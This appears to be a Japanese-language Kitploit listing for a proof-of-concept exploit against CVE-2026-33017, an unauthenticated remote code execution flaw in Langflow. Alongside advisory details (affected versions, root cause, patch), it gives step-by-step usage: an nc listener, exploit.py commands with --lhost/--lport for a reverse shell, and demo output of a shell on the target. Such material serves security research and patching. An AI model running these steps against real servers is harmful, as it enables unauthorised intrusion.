Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33017 — CVE-2026-33017用PoCエクスプロイト:Langflowにおける悪意のあるPythonカスタムコンポーネントインジェクションを介した認証不要のリモートコード実行、内蔵リバースシェルリスナー付き | Kitploit
ツール/GitHubGitHub/dynamo2k1/cve-2026-33017
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

CVE-2026-33017用PoCエクスプロイト:Langflowにおける悪意のあるPythonカスタムコンポーネントインジェクションを介した認証不要のリモートコード実行、内蔵リバースシェルリスナー付き

リポジトリを見る
28日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 — Langflow の未認証リモートコード実行

著者: dynamo2k1
重大度: 重大
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


概要

CVE-2026-33017 は、LLM アプリケーションや AI ワークフローを視覚的に構築するためのオープンソースプラットフォームである Langflow における、重大な未認証リモートコード実行の脆弱性です。

脆弱なエンドポイント build_public_tmp は、認証なしでリクエストボディ内の攻撃者提供の data フィールドを受け入れます。これにより、攻撃者は 悪意のある Python カスタムコンポーネント を含む完全にカスタマイズされたフロー定義を注入でき、そのコードはビルドプロセス中にサーバー上で実行されます。

認証情報は不要です。有効なパブリックフロー UUID のみが必要です。


影響を受けるバージョン

状況バージョン
脆弱Langflow < 1.9.0
修正済みLangflow 1.9.0+

脆弱なエンドポイント

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

このエンドポイントは、認証なしでパブリック(共有)フローを構築するために設計されています。脆弱なバージョンでは、リクエストボディ内の攻撃者が制御する data フィールドも受け入れ、それがサーバーサイドのビルドロジックに直接渡されます。これにはカスタムコンポーネントに埋め込まれた任意の Python コードも含まれます。


使用方法

前提条件

root@kitploit:~
pip install requests urllib3

Step 1 — パブリックフロー UUID を見つける

対象の Langflow インスタンスを閲覧し、共有/パブリックフローを探します。UUID は URL に表示されます:

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        これが flow-id です

Step 2 — リスナーのセットアップ

root@kitploit:~
nc -lvnp 9001

Step 3 — エクスプロイトを実行

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

または、組み込みのインタラクティブリスナーを使用します(別途 nc は不要):

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

オプション


デモ

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

動作の仕組み

  1. 攻撃者はパブリック Langflow フロー UUID(プレイグラウンド URL に表示)を特定します。
  2. 細工された POST リクエストにより、モジュールレベルで Python コードを含む悪意のあるカスタムコンポーネントが注入されます。
  3. ビルドフェーズ中に Langflow がコンポーネントコードをコンパイルし、メソッドが呼び出される前に攻撃者のペイロードを実行します。
  4. コードは攻撃者のリスナーへのリバースシェルを生成します。

根本原因: build_public_tmp はサーバーに保存されたフロー定義のみを使用せず、リクエストボディの data フィールドを信頼していました。

パッチ: Langflow 1.9.0 では、build_public_tmp から data パラメータが削除されました。このエンドポイントを介して外部フロー定義を注入することはできなくなりました。

パッチコミット: 73b6612


参考文献

  • GitHub セキュリティアドバイザリ — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • パッチコミット

免責事項

この PoC は教育目的および許可されたセキュリティ研究目的でのみ提供されています。自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。

ツールをダウンロード
フラグ説明
--url対象の Langflow ベース URL
--flow-idパブリックフロー UUID
--lhostリバースシェルコールバック用のあなたの IP
--lportリスナーポート
--listen外部の nc の代わりに組み込みのシェルハンドラを使用
--timeoutHTTP リクエストタイムアウト(秒、デフォルト: 30)